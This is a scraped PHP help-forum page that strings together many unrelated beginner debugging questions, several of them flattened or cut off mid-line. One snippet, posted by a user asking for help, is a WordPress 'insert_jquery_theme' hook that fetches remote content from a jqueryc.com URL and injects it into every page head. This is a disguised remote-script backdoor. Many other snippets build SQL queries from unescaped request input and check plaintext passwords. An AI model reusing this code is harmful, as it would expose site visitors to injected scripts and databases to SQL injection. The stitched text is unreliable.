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PHP - Error At Line 1
ok...
so my page.php works perfectly when it is receiving date ie the url is page.php?id=x, but how do i set a default for the page? for example if someone browses to page.php at the moment i just get an error message: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1" shouldnt it echo Result not found? what have i done wrong?? php below: <?php $max_columns = 3; include_once "include/globals.php"; //globals contains db connection if (isset($_GET['cat-id'])) { $id = $_GET['cat-id']; } ?> <?php //Get database Results $result = mysql_query("SELECT * FROM Products WHERE is_active = 1 AND catagory_id = $id ") or die(mysql_error()); if(mysql_num_rows($result)===0) { $output = "No records found.\n"; } else { $output = "<table>\n"; //keeps getting the next row until no more records $recNo = 0; while($row = mysql_fetch_array($result)) { $recNo++; //Start new row when needed if($recNo%$max_columns==1) { $output .= "<tr>\n"; } //Create TD for record $output .= "<td><div class=\"table-bg\">"; $output .= "<div class=\"title\">{$row['Name']}</div>"; $output .= "<div class=\"image\">"; $output .= "<a href=\"product_detail.php?id=\"><img src=\"{$row['image']}\" width=\"100\" alt=\"\" border=\"0\"></a>"; $output .= "</div>"; $output .= "<div class=\"tag_line\">{$row['Tag_Line']}</div>"; $output .= "<div class=\"price\">Now Only: £{$row['Website_Price']}</div>"; $output .= "<div class=\"prod-footer\"><a href=\"product_detail.php?id={$row['ID']}\">more info</a></div>"; $output .= "</div></td>\n"; //Close row when needed if($recNo%$max_columns==0) { $output .= "</tr>\n"; } } //Close final row if needed if($recNo%$max_columns!=0) { $output .= "</tr>\n"; } $output .= "<table>\n"; } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Untitled Document</title> <link href="styles/stylesheet.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="Wrapper"> <?php include "include/header.php"; ?> <?php include "include/thinnav.php"; ?> <?php include "include/nav.php"; ?> <div id="main"> <?php //echo $output; ?> </div> <?php include "include/right-nav.php"; ?> <?php include "include/footer.php"; ?> </div> </body> </html> pleasse help this is doing my nuts in........... Similar Tutorials
Hello everyone,
1 <?php
7 // Create connection
10 // Check connection
14 $firstname = $conn->real_escape_string($_REQUEST['firstname']); 25 $sql2 = "INSERT INTO countries VALUES ('$country')"; 27 $sql3 = "INSERT INTO Contacts (firstname, lastname, address, city, country, phone, email) VALUES ('$firstname', '$lastname', '$address', $city, $country, '$phone_number','$email')";
29 SELECT * FROM cities;
if($conn->query($sql2) === true){
if($conn->query($sql3) === true){ I don`t get it, waht is wrong?! Code: [Select] <?php require_once 'auth.php'; if (!isset($_SESSION['SESS_VERIFY'])) { header("location: access-denied.php"); exit(); } if ($_SESSION['lang'] == 'Ro') { // setare data romania date_default_timezone_set('Europe/Bucharest'); $today = getdate(); $zi = $today['mday']; $luna = $today['mon']; $lunastring = $today['month']; $an = $today['year']; $data = $zi.$luna.$an; $data = (string)$data; $ora = date('H:i:s'); $msg = array(); $err = array(); $luni = array ( 1=>'Ianuarie', 2=>'Februarie', 3=>'Martie', 4=>'Aprilie', 5=>'Mai', 6=>'Iunie', 7=>'Iulie', 8=>'August', 9=>'Septembrie', 10=>'Octobrie', 11=>'Noiembrie', 12=>'Decembrie'); // comun const SQL_ERR = 'SQL statement failed with error: '; const ADD_MODEL = 'ADAUGA UN MODEL NOU'; . .many constants.. . } elseif ($_SESSION['lang'] == 'It') {... Thank you! I keep getting an error code when running my php, it states: Parse error: syntax error, unexpected $end in W:\www\blog\login.php on line 33 Line 33 is </html> Code: [Select] <?php mysql_connect ("localhost", "root", ""); mysql_select_db("blog"); ?> <html> <head> <title>Login</title> </head> <body> <?php if(isset($_POST['submit'])){ $name = $_POST['name']; $pass = $_POST['password']; $result = mysql_query("SELECT * FROM users WHERE name='$name' AND pass='$pass'"); $num = mysql_num_rows($result); if($num == 0){ echo "Bad login, go <a href='login.php'>back</a>"; }else{ session_start(); $SESSION ['name'] = $name; header("Location: admin.php"); } ?> <form action='login.php' method='post'> Username: <input type='text' name='name' /><br /> Password: <input type='password' name='password' /><br /> <input type='submit' name='sumbit' value='Login!' /> </form> </body> </html>Can any one advise me whats wrong? SET UP: Windows vista # XAMPP 1.7.3, # Apache 2.2.14 (IPv6 enabled) + OpenSSL 0.9.8l # MySQL 5.1.41 + PBXT engine # PHP 5.3.1 # phpMyAdmin After entering various different information from previous forms on different pages I finally get this error message "Parse error: syntax error, unexpected T_STRING in C:\blablah on line 31" on the following code: <?php //let's start our session, so we have access to stored data session_start(); include 'db.inc.php'; $db = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD) or die ('Unable to connect. Check your connection parameters.'); mysql_select_db(MYSQL_DB, $db) or die(mysql_error($db)); //let's create the query $query = 'INSERT INTO subscriptions (name, email_address, membership_type, terms_and_conditions, name_on_card, credit_card_number, credit_card_expiration_data) VALUES ( "' . $_SESSION[$name, $db] . '", ' . $_SESSION[$email_address, $db] . '", ' . $_SESSION[$membership_type, $db] . '", ' . $_SESSION[$terms_and_conditions, $db] . '", ' . $_POST[$name_on_card, $db] . '", ' . $_POST[$credit_card_number, $db] . '", ' . $_POST[$credit_card_expiration, $db] . ')'; if (isset($query)) { $result = mysql_query($query, $db) or die(mysql_error($db)); } ?> <p>Done!</p> </body> </html> ?> Any help would be appreciated. I'm practicing this with the ambition to develop a multi-page registration using sessions for a website so even web pages that might help me with this aim would be good. This topic has been moved to PHP Applications. http://www.phpfreaks.com/forums/index.php?topic=344105.0 Code: [Select] <?php if (!isset($_POST['submit'])) { ?> <h2>Todays Special</h2> <p> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <select name="day"> <option value="1">Monday/Wednesday <option value="2">Tuesday/Thursday <option value="3">Friday/Sunday <option value="4">Saturday </select> input type="submit" name="submit" value="Go"> </form> <?php // get form selection $day = $_POST['day']; // check value and select appropriate item switch ($day) { case 1: $special = 'Chicken in oyster sauce'; break; case 2: $special = 'French onion soup'; break; case 3: $special = 'Pork chops with mashed potatoes and green salad'; break; default: $special = 'Fish and chips'; break; } ?>
Hi im coding a php form using a tutorial im completely new at php need help what am i doing wrong Hi guys i have this error, Parse error: syntax error, unexpected end of file in C:\wamp64\www\nigthclub\videos.php on line 103
but i know is probably easy to solve but for some reason i dont see the error. please help me
<?php
session_start();
?>
<?php error_reporting (E_ALL ^ E_NOTICE); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<link href="style.css" rel="stylesheet" type="text/css" />
<link href="tablefiestas.css" rel="stylesheet" type="text/css" />
<title>La Taverna de Juan</title>
</head>
<body>
<div id="container">
<div id="header">
<!--MENU BAR-->
<?php include("includes/db.php"); ?>
</div>
<!--VIDEOS-->
<?php
$query = ("SELECT * from videos");
$result = mysqli_query($connection,$query);
$num_per_page =05;
?>
<table border="1" width="100%">
<tr>
<td>Video Id</td>
<td>Titulo</td>
<td>Video</td>
</tr>
<tr>
<?php
while ($row=mysqli_fetch_assoc($result))
{
$videoid = $row['videoid'];
$titulo = $row['titulo'];
$url_video = $row['url_video'];
?>
<td><?php echo $videoid ?></td>
<td><?php echo $titulo ?></td>
<td><?php echo $url_video ?></td>
</tr>
<?php}?>
</table>
<?php
$query = "SELECT * from videos";
$pr_result = mysqli_query($connection,$query);
$totalrecord = mysqli_num_rows($pr_result);
echo $totalrecord;
?>
<br>
<div id="footer">
<!--FOOTER-->
<?php include("includes/footer.inc.php"); ?>
</div>
</div>
</body>
</html>
Edited November 18, 2019 by Psycho Added code tags Dear... I have problem with this code..can you help me ? Thanks Code: [Select] <?phpif (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} <?php
class Post{
private $user_obj;
private $con;
public function __construct($con, $user){
$this->con = $con;
$this->user_obj = new User($con,$user);
}
public function submitPost($body,$user_to){
$body = strip_tags($body);////Removing HTML TAGS
$body = mysqli_real_escape_string($this->con,$body);
$check_empty = preg_replace('/\s+/', '', $body);//delte all spaces
if($check_empty != ""){
//Current Date and time
$date_added = date("Y-m-d H:i:s");
//get username
$added_by = $this->user_obj->getUsername();
//if user have not a profile send to the none
if($user_to == $added_by){
$user_to = "none";
}
////insert query
$query = mysqli_query($this->con,"INSERT INTO posts VALUES('','$body','$added_by','$user_to','$date_added','no','no','0')");
$retured_id = mysqli_insert_id($this->con);
//insert notification
//Update post count for user
$num_post = $this->user_obj->getNumPosts();
$num_post++;
$update_query = mysqli_query($this->con,"UPDATE users SET num_post = '$num_post' WHERE username = '$added_by'" );
}
public function loadPostsFriends(){
$str = ""; //string to return
$data = mysqli_query($this->con,"SELECT * FROM posts where deleted = 'no' ORDER by id DESC");
while($row = mysqli_fetch_array($data))
{
$id = $row['id'];
$body = $row['body'];
$added_by = $row['added_by'];
$date_time = $row['date_added'];
/// Creating user post on other user profile
if($row['user_to'] == "none"){
user_to = "";
else {
$user_to_obj = new User($con,$row['user_to']);
$user_to_name = $user_to_obj->getFirstandLastname();
$user_to = "to <a href='" . $row['user_to'] . "'>" .$user_to_name . "</a>";
}
// check if user account was closed
$added_by_obj = new User($this->con,$added_by);
if($added_by_obj ->isClosed()){
continue;
}
$user_details_query = mysqli_query($this->con,"SELECT first_name,last_name,profile_pic FROM users where username = '$added_by'");
$user_row = mysqli_fetch_array($user_details_query);
$first_name = $user_row['first_name'];
$last_name = $user_row['last_name'];
$profile_pic= $user_row['profile_pic'];
///time stamp
$date_time_now = date("Y-m-d H:i:s");
$start_date = new Date_Time($date_time);////Time_of_post
$end_date = new Date_Time($date_time_now);///Current_time
$intervel = $start_date->diff($end_date);
if($intervel->y >< 1 ){
if($intervel ==1 )
$time_message = $intervel->y . " year ago";/// 1 Year Ago
else
$time_message = $intervel->y . " years ago"; //1+ year ago
}
else if($intervel-> m >= 1 ){
if($intervel->d == 0){
$days = " ago";
}
else if($intervel->d == 1){
$days = $intervel->d."day ago";
}
else
{
$days = $intervel->d."day ago";
}
if($intervel->m == 1){
$time_message = $intervel->m." month".$days;
}
else
$time_message = $intervel->m." months".$days;
}
}
else if($intervel->d >= 1){
if($intervel->d == 1){
$days = "Yesterday";
}
else
{
$days = $intervel->d."days ago";
}
}
else if($intervel->h >= 1){
if($intervel->h == 1){
$time_message = $intervel->h." hour ago";
}
else
{
$time_message = $intervel->h." hours ago";
}
}
else if($intervel->i >= 1){
if($intervel->i == 1){
$time_message = $intervel->i." minute ago";
}
else
{
$time_message = $intervel->i." minutes ago";
}
}
else{
if($intervel->s < 30){
$time_message = "Just Now";
}
else
{
$time_message = $intervel->s." seconds ago";
}
}
$str .= "<div class='status_post'>
<div calss='post_profile_pic'>
<img src='$profile_pic' width='50'>
</div>
<div calss='posted_by' style='color#ACACAC;'>
<a href = '$added_by'> $first_name $last_name </a> $user_to ; ; $time_message
</div>
<div id = 'post_body'$body<br></div>
</div>
"
}
echo $str;
}
}
?>
When i run this code this show me the error Parse error: syntax error, unexpected 'public' (T_PUBLIC) in C:\xampp\htdocs\social\Classes\Post.php on line 39 the line 39 is public function loadPostsFriends() I check the code again and again but i cant find the error please help in this error hello, if any one can help me solve this error.
case "unsuspend":
$setupd = array("status" => "Active");
$db->update("members", $setupd, "id=" . $mid);
break;
case "activate":
$setupd = array("status" => "Active");
$db->update("members", $setupd, "id=" . $mid);
{
if ($settings['referral_contest'] == 'yes') {
$usr = $db->fetchRow( "SELECT ref1, status FROM members WHERE id=" . $mid );
if (( $usr['status'] == 'Un-verified' && $usr['ref1'] != 0 )) {
$referrer = $usr['ref1'];
if ($referrer != 0) {
$today_var = $settings['referral_reset'];
$chk = $db->fetchOne( "SELECT COUNT(*) AS NUM FROM referral_stats WHERE user_id=" . $referrer );
if ($chk == 0) {
$data = array( 'user_id' => $referrer, 'day' . $today_var => 1 );
$db->insert( 'referral_stats', $data );
}
else {
$db->query( "UPDATE referral_stats SET day" . $today_var . '=day' . $today_var . '+1 WHERE user_id=' . $referrer );
}
}
}
}
break;
case "delete":
$userdata = $db->fetchRow("SELECT username, country, ref1 FROM members WHERE id=" . $mid);
deletemember($mid);
if ($userdata['username'] != "BOT") {
$db->query("UPDATE country SET users=users-1 WHERE name=" . $userdata['country'] . "'");
}
if ($userdata['ref1'] != 0) {
$db->query("UPDATE members SET referrals=referrals-1, myrefs1=myrefs1-1 WHERE id=" . $userdata['ref1']);
}
break;
I'm not very good at php, but this is my full code. I'm not sure what the problem is. If anyone could give me a hand, I would surely appreciate it. Line 77 in the last line of the this code. <html> <head> <title>Ace!</title> </head> <body> <h1>Ace!</h1> <h3>Demonstrates if statement</h3> <?php $begin = rand(1,10); print "You picked roman number $begin"; printNumber16($begin); printNumber110($begin); function printNumber16($begin){ global $begin; if ($begin == 1 ){ print "I"; } else if ($begin == 2){ print "II"; } else if ($begin == 3){ print "III"; } else if ($begin == 4){ print "IV"; } else if ($begin == 5){ print "V"; } else { print "I don't know what you talking bout broham"; } function printNumber110($begin) { global $begin; switch ($begin){ case 1: $roman = "I"; break; case 2: $roman = "II"; break; case 3: $roman = "III"; break; case 4: $roman = "IV"; break; case 5: $roman = "V"; break; case 6: $roman = "VI"; break; default: print "This is an illegal die!"; } print "<br>"; print "<br>"; print "You chose roman number $roman"; print "<br>"; print "<br>"; ?> <br> Refresh this page in the browser to roll another die. </body> </html> I have an error on this php page and am getting confused with the curly brackets. I hope a set of fresh eyes will help me find the bracket I'm missing or misplaced. Any help would be greatly appreciated. Here's my code
<?php
if (isset($_POST['login-submit'])) {
require 'dbh.inc.php';
$mailuid = $_POST['mailuid'];
$password = $_POST['pwd'];
if (empty($mailuid) || empty($password)) {
header("Location: ../index.php?error=emptyfields");
exit();
}
else {
$sql = "SELECT * FROM users WHERE uidUsers=? OR emailUsers=?;";
$stmt = mysqli_stmt_init($conn);
if (!mysqli_stmt_prepare($stmt, $sql)) {
header("Location: ../index.php?error=sqlerror");
exit();
}
else {
mysqli_stmt_bind_param($stmt, "ss", $mailuid, $mailuid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
if ($row = mysqli_fetch_assoc($result)) {
$pwdCheck = password_verify($password, $row['pwdUsers']);
if ($pwdCheck == false) {
header("Location: ../index.php?error=wrongpwd");
exit();
}
else if ($pwdCheck == true) {
session_start();
$_SESSION['userId'] = $row['idUsers'];
$_SESSION['userUid'] = $row['uidUsers'];
header("Location: ../index.php?login=success");
exit();
}
else {
header("Location: ../index.php?error=wrongpwd");
exit();
}
}
else (
header("Location: ../index.php?error=nouser");
exit();
)
}
}
}
else {
header("Location: ../index.php");
exit();
}
hello, anybody able to take a quick look and see why i have an error on both line 16 and 52? Code: [Select] <?php include 'config.php'; include 'style.php'; include 'auth5.php'; $randeid=rand(121047, 997893); if(isset($_GET["delete"])) { $did=$_GET["delete"]; $query11= mysql_query("delete FROM tools where id =$did")or die(mysql_error()); } $groups = mysql_query("SELECT * FROM tools ORDER BY group"); $groups1=""; while($row1 = mysql_fetch_array($groups)) { $groupnames=$row1['group']; $groups1.="<OPTION VALUE=\"$groupnames\">".$groupnames.'</option>'; } ?> <form method="POST"> <p align="center">Search For: <select size="1" name="tool"><?php echo "$groups1"; ?></select> <input type="submit" value="Search" name="search"></p> </form> <?php if(isset($_POST['search'])) { $tool=$_POST['tool']; echo "<table border='1' style='border-collapse: collapse' bordercolorlight='#000000' bordercolordark='#000000' width='98%' align='center'>"; echo "<tr><td width='100%' colspan='4' align='center'><b>Tool List</b></td></tr>"; echo "<tr> <th align='center'>Tool</th> <th align='center'>Barcode</th> <th></th> <th></th> </tr>"; $result = mysql_query("SELECT * FROM tools WHERE group LIKE '%$tool%' ORDER BY tool"); while($row = mysql_fetch_array($result)) { $id=$row['id']; $tool=$row['tool']; $barcode=$row['barcode']; $location=$row['location']; echo "<tr>"; echo "<td align='center'>" . $tool . "</td>"; echo "<td align='center'><img src='barcode.php?format=jpeg&quality=100&width=150&height=75&barcode=" . $barcode . "'></td>"; echo "<td align='center'>Print</td>"; echo "<td align='center'><a href='searchtool.php?delete=" . $id . "'>Delete</a></td>"; echo "</tr>"; } echo "</table>"; } include 'close.php'; ?> Hello, When I try to PHP my files I get this error: Cannot use object of type Project as array, in "filepath.php" line 112. Here are the first 2 texts (112,113): $this["Started CPSM, version 0.04, Login Server communication mode: " . LOGIN_MODE . "\n"]; register_shutdown_function(array($this, "shutdownHandler")); Please help, Thanks. I've looked it, and I guess it's right in front of me but I don't see it. Parse error: syntax error, unexpected T_STRING, expecting ']' in /home/a8079066/public_html/view.php on line 24 echo "<b>Name:</b> ". $query['name'] ."<br/><b>Description:</b> ". $query['description'] ."<hr><a href='/mods/". $query['id'] .".zip'><h2>[DOWNLOAD]</h2></a><hr>"; Code: [Select] Fatal error: Cannot redeclare parse_message() (previously declared in C:\wamp\www\include\parser.php:5) in C:\wamp\www\include\parser.php on line 155 line 155: Code: [Select] } all it is is a } How in the world? this just happended line 5 is Code: [Select] function parse_message($text) |
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